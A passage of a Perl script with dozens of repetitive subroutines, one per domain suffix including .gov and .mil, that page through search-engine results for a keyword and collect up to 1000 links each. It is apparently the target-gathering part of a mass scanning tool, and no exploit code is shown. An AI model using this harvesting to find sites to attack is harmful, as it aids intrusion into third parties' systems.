  2508. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i);
  2509. my $res = &search_engine_query($search);
  2510. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2511. my $link = $1;
  2512. if ($link !~ /google/){
  2513. my @grep = split(/\&/,$link);
  2514. push(@list,$grep[0]);
  2515. }
  2516. }
  2517. }
  2518. return @list;
  2519. }
  2520.  
  2521. sub mn() {
  2522. my @list;
  2523. my $key = $_[0];
  2524. for (my $i=0; $i<=1000; $i+=100){
  2525. my $search = ($jack3.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i);
  2526. my $res = &search_engine_query($search);
  2527. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2528. my $link = $1;
  2529. if ($link !~ /google/){
  2530. my @grep = split(/\&/,$link);
  2531. push(@list,$grep[0]);
  2532. }
  2533. }
  2534. }
  2535. return @list;
  2536. }
  2537.  
  2538. sub bg() {
  2539. my @list;
  2540. my $key = $_[0];
  2541. for (my $i=0; $i<=1000; $i+=100){
  2542. my $search = ($jack4.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i);
  2543. my $res = &search_engine_query($search);
  2544. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2545. my $link = $1;
  2546. if ($link !~ /google/){
  2547. my @grep = split(/\&/,$link);
  2548. push(@list,$grep[0]);
  2549. }
  2550. }
  2551. }
  2552. return @list;
  2553. }
  2554.  
  2555. sub nz() {
  2556. my @list;
  2557. my $key = $_[0];
  2558. for (my $i=0; $i<=1000; $i+=100){
  2559. my $search = ($jack5.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i);
  2560. my $res = &search_engine_query($search);
  2561. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2562. my $link = $1;
  2563. if ($link !~ /google/){
  2564. my @grep = split(/\&/,$link);
  2565. push(@list,$grep[0]);
  2566. }
  2567. }
  2568. }
  2569. return @list;
  2570. }
  2571.  
  2572. sub ee() {
  2573. my @list;
  2574. my $key = $_[0];
  2575. for (my $i=0; $i<=1000; $i+=100){
  2576. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i);
  2577. my $res = &search_engine_query($search);
  2578. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2579. my $link = $1;
  2580. if ($link !~ /google/){
  2581. my @grep = split(/\&/,$link);
  2582. push(@list,$grep[0]);
  2583. }
  2584. }
  2585. }
  2586. return @list;
  2587. }
  2588.  
  2589. sub gr() {
  2590. my @list;
  2591. my $key = $_[0];
  2592. for (my $i=0; $i<=1000; $i+=100){
  2593. my $search = ($jack7.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i);
  2594. my $res = &search_engine_query($search);
  2595. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2596. my $link = $1;
  2597. if ($link !~ /google/){
  2598. my @grep = split(/\&/,$link);
  2599. push(@list,$grep[0]);
  2600. }
  2601. }
  2602. }
  2603. return @list;
  2604. }
  2605.  
  2606. sub pt() {
  2607. my @list;
  2608. my $key = $_[0];
  2609. for (my $i=0; $i<=1000; $i+=100){
  2610. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i);
  2611. my $res = &search_engine_query($search);
  2612. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2613. my $link = $1;
  2614. if ($link !~ /google/){
  2615. my @grep = split(/\&/,$link);
  2616. push(@list,$grep[0]);
  2617. }
  2618. }
  2619. }
  2620. return @list;
  2621. }
  2622.  
  2623. sub tn() {
  2624. my @list;
  2625. my $key = $_[0];
  2626. for (my $i=0; $i<=1000; $i+=100){
  2627. my $search = ($jack2.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i);
  2628. my $res = &search_engine_query($search);
  2629. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2630. my $link = $1;
  2631. if ($link !~ /google/){
  2632. my @grep = split(/\&/,$link);
  2633. push(@list,$grep[0]);
  2634. }
  2635. }
  2636. }
  2637. return @list;
  2638. }
  2639.  
  2640. sub ke() {
  2641. my @list;
  2642. my $key = $_[0];
  2643. for (my $i=0; $i<=1000; $i+=100){
  2644. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i);
  2645. my $res = &search_engine_query($search);
  2646. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2647. my $link = $1;
  2648. if ($link !~ /google/){
  2649. my @grep = split(/\&/,$link);
  2650. push(@list,$grep[0]);
  2651. }
  2652. }
  2653. }
  2654. return @list;
  2655. }
  2656.  
  2657. sub fi() {
  2658. my @list;
  2659. my $key = $_[0];
  2660. for (my $i=0; $i<=1000; $i+=100){
  2661. my $search = ($jack4.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i);
  2662. my $res = &search_engine_query($search);
  2663. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2664. my $link = $1;
  2665. if ($link !~ /google/){
  2666. my @grep = split(/\&/,$link);
  2667. push(@list,$grep[0]);
  2668. }
  2669. }
  2670. }
  2671. return @list;
  2672. }
  2673.  
  2674. sub hr() {
  2675. my @list;
  2676. my $key = $_[0];
  2677. for (my $i=0; $i<=1000; $i+=100){
  2678. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i);
  2679. my $res = &search_engine_query($search);
  2680. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2681. my $link = $1;
  2682. if ($link !~ /google/){
  2683. my @grep = split(/\&/,$link);
  2684. push(@list,$grep[0]);
  2685. }
  2686. }
  2687. }
  2688. return @list;
  2689. }
  2690.  
  2691. sub ch() {
  2692. my @list;
  2693. my $key = $_[0];
  2694. for (my $i=0; $i<=1000; $i+=100){
  2695. my $search = ($jack6.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i);
  2696. my $res = &search_engine_query($search);
  2697. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2698. my $link = $1;
  2699. if ($link !~ /google/){
  2700. my @grep = split(/\&/,$link);
  2701. push(@list,$grep[0]);
  2702. }
  2703. }
  2704. }
  2705. return @list;
  2706. }
  2707.  
  2708. sub il() {
  2709. my @list;
  2710. my $key = $_[0];
  2711. for (my $i=0; $i<=1000; $i+=100){
  2712. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  2713. my $res = &search_engine_query($search);
  2714. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2715. my $link = $1;
  2716. if ($link !~ /google/){
  2717. my @grep = split(/\&/,$link);
  2718. push(@list,$grep[0]);
  2719. }
  2720. }
  2721. }
  2722. return @list;
  2723. }
  2724.  
  2725. sub pe() {
  2726. my @list;
  2727. my $key = $_[0];
  2728. for (my $i=0; $i<=1000; $i+=100){
  2729. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i);
  2730. my $res = &search_engine_query($search);
  2731. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2732. my $link = $1;
  2733. if ($link !~ /google/){
  2734. my @grep = split(/\&/,$link);
  2735. push(@list,$grep[0]);
  2736. }
  2737. }
  2738. }
  2739. return @list;
  2740. }
  2741.  
  2742. sub md() {
  2743. my @list;
  2744. my $key = $_[0];
  2745. for (my $i=0; $i<=1000; $i+=100){
  2746. my $search = ($jack1.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i);
  2747. my $res = &search_engine_query($search);
  2748. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2749. my $link = $1;
  2750. if ($link !~ /google/){
  2751. my @grep = split(/\&/,$link);
  2752. push(@list,$grep[0]);
  2753. }
  2754. }
  2755. }
  2756. return @list;
  2757. }
  2758.  
  2759. sub cc() {
  2760. my @list;
  2761. my $key = $_[0];
  2762. for (my $i=0; $i<=1000; $i+=100){
  2763. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i);
  2764. my $res = &search_engine_query($search);
  2765. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2766. my $link = $1;
  2767. if ($link !~ /google/){
  2768. my @grep = split(/\&/,$link);
  2769. push(@list,$grep[0]);
  2770. }
  2771. }
  2772. }
  2773. return @list;
  2774. }
  2775.  
  2776. sub tel() {
  2777. my @list;
  2778. my $key = $_[0];
  2779. for (my $i=0; $i<=1000; $i+=100){
  2780. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i);
  2781. my $res = &search_engine_query($search);
  2782. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2783. my $link = $1;
  2784. if ($link !~ /google/){
  2785. my @grep = split(/\&/,$link);
  2786. push(@list,$grep[0]);
  2787. }
  2788. }
  2789. }
  2790. return @list;
  2791. }
  2792.  
  2793. sub im() {
  2794. my @list;
  2795. my $key = $_[0];
  2796. for (my $i=0; $i<=1000; $i+=100){
  2797. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i);
  2798. my $res = &search_engine_query($search);
  2799. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2800. my $link = $1;
  2801. if ($link !~ /google/){
  2802. my @grep = split(/\&/,$link);
  2803. push(@list,$grep[0]);
  2804. }
  2805. }
  2806. }
  2807. return @list;
  2808. }
  2809.  
  2810. sub kz() {
  2811. my @list;
  2812. my $key = $_[0];
  2813. for (my $i=0; $i<=1000; $i+=100){
  2814. my $search = ($jack5.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i);
  2815. my $res = &search_engine_query($search);
  2816. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2817. my $link = $1;
  2818. if ($link !~ /google/){
  2819. my @grep = split(/\&/,$link);
  2820. push(@list,$grep[0]);
  2821. }
  2822. }
  2823. }
  2824. return @list;
  2825. }
  2826.  
  2827. sub uy() {
  2828. my @list;
  2829. my $key = $_[0];
  2830. for (my $i=0; $i<=1000; $i+=100){
  2831. my $search = ($jack6.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i);
  2832. my $res = &search_engine_query($search);
  2833. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2834. my $link = $1;
  2835. if ($link !~ /google/){
  2836. my @grep = split(/\&/,$link);
  2837. push(@list,$grep[0]);
  2838. }
  2839. }
  2840. }
  2841. return @list;
  2842. }
  2843.  
  2844. sub qa() {
  2845. my @list;
  2846. my $key = $_[0];
  2847. for (my $i=0; $i<=1000; $i+=100){
  2848. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i);
  2849. my $res = &search_engine_query($search);
  2850. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2851. my $link = $1;
  2852. if ($link !~ /google/){
  2853. my @grep = split(/\&/,$link);
  2854. push(@list,$grep[0]);
  2855. }
  2856. }
  2857. }
  2858. return @list;
  2859. }
  2860.  
  2861. sub mil() {
  2862. my @list;
  2863. my $key = $_[0];
  2864. for (my $i=0; $i<=1000; $i+=100){
  2865. my $search = ($jack1.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i);
  2866. my $res = &search_engine_query($search);
  2867. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2868. my $link = $1;
  2869. if ($link !~ /google/){
  2870. my @grep = split(/\&/,$link);
  2871. push(@list,$grep[0]);
  2872. }
  2873. }
  2874. }
  2875. return @list;
  2876. }
  2877.  
  2878. sub pk() {
  2879. my @list;
  2880. my $key = $_[0];
  2881. for (my $i=0; $i<=1000; $i+=100){
  2882. my $search = ($jack2.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i);
  2883. my $res = &search_engine_query($search);
  2884. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2885. my $link = $1;
  2886. if ($link !~ /google/){
  2887. my @grep = split(/\&/,$link);
  2888. push(@list,$grep[0]);
  2889. }
  2890. }
  2891. }
  2892. return @list;
  2893. }
  2894.  
  2895. sub is() {
  2896. my @list;
  2897. my $key = $_[0];
  2898. for (my $i=0; $i<=1000; $i+=100){
  2899. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i);
  2900. my $res = &search_engine_query($search);
  2901. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2902. my $link = $1;
  2903. if ($link !~ /google/){
  2904. my @grep = split(/\&/,$link);
  2905. push(@list,$grep[0]);
  2906. }
  2907. }
  2908. }
  2909. return @list;
  2910. }
  2911.  
  2912. sub uz() {
  2913. my @list;
  2914. my $key = $_[0];
  2915. for (my $i=0; $i<=1000; $i+=100){
  2916. my $search = ($jack4.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  2917. my $res = &search_engine_query($search);
  2918. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2919. my $link = $1;
  2920. if ($link !~ /google/){
  2921. my @grep = split(/\&/,$link);
  2922. push(@list,$grep[0]);
  2923. }
  2924. }
  2925. }
  2926. return @list;
  2927. }
  2928.  
  2929. sub ng() {
  2930. my @list;
  2931. my $key = $_[0];
  2932. for (my $i=0; $i<=1000; $i+=100){
  2933. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i);
  2934. my $res = &search_engine_query($search);
  2935. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2936. my $link = $1;
  2937. if ($link !~ /google/){
  2938. my @grep = split(/\&/,$link);
  2939. push(@list,$grep[0]);
  2940. }
  2941. }
  2942. }
  2943. return @list;
  2944. }
  2945.  
  2946. sub travel() {
  2947. my @list;
  2948. my $key = $_[0];
  2949. for (my $i=0; $i<=1000; $i+=100){
  2950. my $search = ($jack6.uri_escape($key)."%2Btravel%26num%3D100%26start%3D".$i);
  2951. my $res = &search_engine_query($search);
  2952. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2953. my $link = $1;
  2954. if ($link !~ /google/){
  2955. my @grep = split(/\&/,$link);
  2956. push(@list,$grep[0]);
  2957. }
  2958. }
  2959. }
  2960. return @list;
  2961. }
  2962.  
  2963. sub sa() {
  2964. my @list;
  2965. my $key = $_[0];
  2966. for (my $i=0; $i<=1000; $i+=100){
  2967. my $search = ($jack4.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i);
  2968. my $res = &search_engine_query($search);
  2969. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2970. my $link = $1;
  2971. if ($link !~ /google/){
  2972. my @grep = split(/\&/,$link);
  2973. push(@list,$grep[0]);
  2974. }
  2975. }
  2976. }
  2977. return @list;
  2978. }
  2979.  
  2980. sub do() {
  2981. my @list;
  2982. my $key = $_[0];
  2983. for (my $i=0; $i<=1000; $i+=100){
  2984. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i);
  2985. my $res = &search_engine_query($search);
  2986. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2987. my $link = $1;
  2988. if ($link !~ /google/){
  2989. my @grep = split(/\&/,$link);
  2990. push(@list,$grep[0]);
  2991. }
  2992. }
  2993. }
  2994. return @list;
  2995. }
  2996.  
  2997. sub am() {
  2998. my @list;
  2999. my $key = $_[0];
  3000. for (my $i=0; $i<=1000; $i+=100){
  3001. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i);
  3002. my $res = &search_engine_query($search);
  3003. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3004. my $link = $1;
  3005. if ($link !~ /google/){
  3006. my @grep = split(/\&/,$link);
  3007. push(@list,$grep[0]);
  3008. }
  3009. }
  3010. }
  3011. return @list;
  3012. }
  3013.  
  3014. sub eg() {
  3015. my @list;
  3016. my $key = $_[0];
  3017. for (my $i=0; $i<=1000; $i+=100){
  3018. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i);
  3019. my $res = &search_engine_query($search);
  3020. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3021. my $link = $1;
  3022. if ($link !~ /google/){
  3023. my @grep = split(/\&/,$link);
  3024. push(@list,$grep[0]);
  3025. }
  3026. }
  3027. }
  3028. return @list;
  3029. }
  3030.  
  3031. sub fm() {
  3032. my @list;
  3033. my $key = $_[0];
  3034. for (my $i=0; $i<=1000; $i+=100){
  3035. my $search = ($jack3.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i);
  3036. my $res = &search_engine_query($search);
  3037. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3038. my $link = $1;
  3039. if ($link !~ /google/){
  3040. my @grep = split(/\&/,$link);
  3041. push(@list,$grep[0]);
  3042. }
  3043. }
  3044. }
  3045. return @list;
  3046. }
  3047.  
  3048. sub ge() {
  3049. my @list;
  3050. my $key = $_[0];
  3051. for (my $i=0; $i<=1000; $i+=100){
  3052. my $search = ($jack4.uri_escape($key)."%2Bsite%3Age%26num%3D100%26start%3D".$i);
  3053. my $res = &search_engine_query($search);
  3054. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3055. my $link = $1;
  3056. if ($link !~ /google/){
  3057. my @grep = split(/\&/,$link);
  3058. push(@list,$grep[0]);
  3059. }
  3060. }
  3061. }
  3062. return @list;
  3063. }
  3064.  
  3065. sub ky() {
  3066. my @list;
  3067. my $key = $_[0];
  3068. for (my $i=0; $i<=1000; $i+=100){
  3069. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i);
  3070. my $res = &search_engine_query($search);
  3071. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3072. my $link = $1;
  3073. if ($link !~ /google/){
  3074. my @grep = split(/\&/,$link);
  3075. push(@list,$grep[0]);
  3076. }
  3077. }
  3078. }
  3079. return @list;
  3080. }
  3081.  
  3082. sub lu() {
  3083. my @list;
  3084. my $key = $_[0];
  3085. for (my $i=0; $i<=1000; $i+=100){
  3086. my $search = ($jack6.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i);
  3087. my $res = &search_engine_query($search);
  3088. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3089. my $link = $1;
  3090. if ($link !~ /google/){
  3091. my @grep = split(/\&/,$link);
  3092. push(@list,$grep[0]);
  3093. }
  3094. }
  3095. }
  3096. return @list;
  3097. }
  3098.  
  3099. sub mk() {
  3100. my @list;
  3101. my $key = $_[0];
  3102. for (my $i=0; $i<=1000; $i+=100){
  3103. my $search = ($jack7.uri_escape($key)."%2Bsite%3Amk%26num%3D100%26start%3D".$i);
  3104. my $res = &search_engine_query($search);
  3105. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3106. my $link = $1;
  3107. if ($link !~ /google/){
  3108. my @grep = split(/\&/,$link);
  3109. push(@list,$grep[0]);
  3110. }
  3111. }
  3112. }
  3113. return @list;
  3114. }
  3115.  
  3116. sub pa() {
  3117. my @list;
  3118. my $key = $_[0];
  3119. for (my $i=0; $i<=1000; $i+=100){
  3120. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i);
  3121. my $res = &search_engine_query($search);
  3122. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3123. my $link = $1;
  3124. if ($link !~ /google/){
  3125. my @grep = split(/\&/,$link);
  3126. push(@list,$grep[0]);
  3127. }
  3128. }
  3129. }
  3130. return @list;
  3131. }
  3132.  
  3133. sub sg() {
  3134. my @list;
  3135. my $key = $_[0];
  3136. for (my $i=0; $i<=1000; $i+=100){
  3137. my $search = ($jack2.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i);
  3138. my $res = &search_engine_query($search);
  3139. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3140. my $link = $1;
  3141. if ($link !~ /google/){
  3142. my @grep = split(/\&/,$link);
  3143. push(@list,$grep[0]);
  3144. }
  3145. }
  3146. }
  3147. return @list;
  3148. }
  3149.  
  3150. sub sy() {
  3151. my @list;
  3152. my $key = $_[0];
  3153. for (my $i=0; $i<=1000; $i+=100){
  3154. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asy%26num%3D100%26start%3D".$i);
  3155. my $res = &search_engine_query($search);
  3156. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3157. my $link = $1;
  3158. if ($link !~ /google/){
  3159. my @grep = split(/\&/,$link);
  3160. push(@list,$grep[0]);
  3161. }
  3162. }
  3163. }
  3164. return @list;
  3165. }
  3166.  
  3167. sub az() {
  3168. my @list;
  3169. my $key = $_[0];
  3170. for (my $i=0; $i<=1000; $i+=100){
  3171. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i);
  3172. my $res = &search_engine_query($search);
  3173. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3174. my $link = $1;
  3175. if ($link !~ /google/){
  3176. my @grep = split(/\&/,$link);
  3177. push(@list,$grep[0]);
  3178. }
  3179. }
  3180. }
  3181. return @list;
  3182. }
  3183.  
  3184. sub la() {
  3185. my @list;
  3186. my $key = $_[0];
  3187. for (my $i=0; $i<=1000; $i+=100){
  3188. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i);
  3189. my $res = &search_engine_query($search);
  3190. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3191. my $link = $1;
  3192. if ($link !~ /google/){
  3193. my @grep = split(/\&/,$link);
  3194. push(@list,$grep[0]);
  3195. }
  3196. }
  3197. }
  3198. return @list;
  3199. }
  3200.  
  3201. sub bd() {
  3202. my @list;
  3203. my $key = $_[0];
  3204. for (my $i=0; $i<=1000; $i+=100){
  3205. my $search = ($jack6.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i);
  3206. my $res = &search_engine_query($search);
  3207. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3208. my $link = $1;
  3209. if ($link !~ /google/){
  3210. my @grep = split(/\&/,$link);
  3211. push(@list,$grep[0]);
  3212. }
  3213. }
  3214. }
  3215. return @list;
  3216. }
  3217.  
  3218. sub cy() {
  3219. my @list;
  3220. my $key = $_[0];
  3221. for (my $i=0; $i<=1000; $i+=100){
  3222. my $search = ($jack3.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i);
  3223. my $res = &search_engine_query($search);
  3224. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3225. my $link = $1;
  3226. if ($link !~ /google/){
  3227. my @grep = split(/\&/,$link);
  3228. push(@list,$grep[0]);
  3229. }
  3230. }
  3231. }
  3232. return @list;
  3233. }
  3234.  
  3235. sub sn() {
  3236. my @list;
  3237. my $key = $_[0];
  3238. for (my $i=0; $i<=1000; $i+=100){
  3239. my $search = ($jack4.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i);
  3240. my $res = &search_engine_query($search);
  3241. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3242. my $link = $1;
  3243. if ($link !~ /google/){
  3244. my @grep = split(/\&/,$link);
  3245. push(@list,$grep[0]);
  3246. }
  3247. }
  3248. }
  3249. return @list;
  3250. }
  3251.  
  3252. sub museum() {
  3253. my @list;
  3254. my $key = $_[0];
  3255. for (my $i=0; $i<=1000; $i+=100){
  3256. my $search = ($jack1.uri_escape($key)."%2Bmuseum%26num%3D100%26start%3D".$i);
  3257. my $res = &search_engine_query($search);
  3258. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3259. my $link = $1;
  3260. if ($link !~ /google/){
  3261. my @grep = split(/\&/,$link);
  3262. push(@list,$grep[0]);
  3263. }
  3264. }
  3265. }
  3266. return @list;
  3267. }
  3268.  
  3269. sub gov() {
  3270. my @list;
  3271. my $key = $_[0];
  3272. for (my $i=0; $i<=1000; $i+=100){
  3273. my $search = ($jack2.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i);
  3274. my $res = &search_engine_query($search);
  3275. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3276. my $link = $1;
  3277. if ($link !~ /google/){
  3278. my @grep = split(/\&/,$link);
  3279. push(@list,$grep[0]);
  3280. }
  3281. }
  3282. }
  3283. return @list;
  3284. }
  3285.  
  3286. sub tk() {
  3287. my @list;
  3288. my $key = $_[0];
  3289. for (my $i=0; $i<=1000; $i+=100){
  3290. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i);
  3291. my $res = &search_engine_query($search);
  3292. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3293. my $link = $1;
  3294. if ($link !~ /google/){
  3295. my @grep = split(/\&/,$link);
  3296. push(@list,$grep[0]);
  3297. }
  3298. }
  3299. }
  3300. return @list;
  3301. }
  3302.  
  3303. sub nu() {
  3304. my @list;
  3305. my $key = $_[0];
  3306. for (my $i=0; $i<=1000; $i+=100){
  3307. my $search = ($jack4.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i);
  3308. my $res = &search_engine_query($search);
  3309. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3310. my $link = $1;
  3311. if ($link !~ /google/){
  3312. my @grep = split(/\&/,$link);
  3313. push(@list,$grep[0]);
  3314. }
  3315. }
  3316. }
  3317. return @list;
  3318. }
  3319.  
  3320. sub zm() {
  3321. my @list;
  3322. my $key = $_[0];
  3323. for (my $i=0; $i<=1000; $i+=100){
  3324. my $search = ($jack5.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i);
  3325. my $res = &search_engine_query($search);
  3326. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3327. my $link = $1;
  3328. if ($link !~ /google/){
  3329. my @grep = split(/\&/,$link);
  3330. push(@list,$grep[0]);
  3331. }
  3332. }
  3333. }
  3334. return @list;
  3335. }
  3336.  
  3337. sub ye() {
  3338. my @list;
  3339. my $key = $_[0];
  3340. for (my $i=0; $i<=1000; $i+=100){
  3341. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i);
  3342. my $res = &search_engine_query($search);
  3343. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3344. my $link = $1;
  3345. if ($link !~ /google/){
  3346. my @grep = split(/\&/,$link);
  3347. push(@list,$grep[0]);
  3348. }
  3349. }
  3350. }
  3351. return @list;
  3352. }
  3353.  
  3354. sub cu() {
  3355. my @list;
  3356. my $key = $_[0];
  3357. for (my $i=0; $i<=1000; $i+=100){
  3358. my $search = ($jack7.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i);
  3359. my $res = &search_engine_query($search);
  3360. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3361. my $link = $1;
  3362. if ($link !~ /google/){
  3363. my @grep = split(/\&/,$link);
  3364. push(@list,$grep[0]);
  3365. }
  3366. }
  3367. }
  3368. return @list;
  3369. }
  3370.  
  3371. sub to() {
  3372. my @list;
  3373. my $key = $_[0];
  3374. for (my $i=0; $i<=1000; $i+=100){
  3375. my $search = ($jack1.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i);
  3376. my $res = &search_engine_query($search);
  3377. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3378. my $link = $1;
  3379. if ($link !~ /google/){
  3380. my @grep = split(/\&/,$link);
  3381. push(@list,$grep[0]);
  3382. }
  3383. }
  3384. }
  3385. return @list;
  3386. }
  3387.  
  3388. sub tz() {
  3389. my @list;
  3390. my $key = $_[0];
  3391. for (my $i=0; $i<=1000; $i+=100){
  3392. my $search = ($jack2.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i);
  3393. my $res = &search_engine_query($search);
  3394. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3395. my $link = $1;
  3396. if ($link !~ /google/){
  3397. my @grep = split(/\&/,$link);
  3398. push(@list,$grep[0]);
  3399. }
  3400. }
  3401. }
  3402. return @list;
  3403. }
  3404.  
  3405. sub rs() {
  3406. my @list;
  3407. my $key = $_[0];
  3408. for (my $i=0; $i<=1000; $i+=100){
  3409. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i);
  3410. my $res = &search_engine_query($search);
  3411. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3412. my $link = $1;
  3413. if ($link !~ /google/){
  3414. my @grep = split(/\&/,$link);
  3415. push(@list,$grep[0]);
  3416. }
  3417. }
  3418. }
  3419. return @list;
  3420. }
  3421.  
  3422. sub pm() {
  3423. my @list;
  3424. my $key = $_[0];
  3425. for (my $i=0; $i<=1000; $i+=100){
  3426. my $search = ($jack4.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i);
  3427. my $res = &search_engine_query($search);
  3428. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3429. my $link = $1;
  3430. if ($link !~ /google/){
  3431. my @grep = split(/\&/,$link);
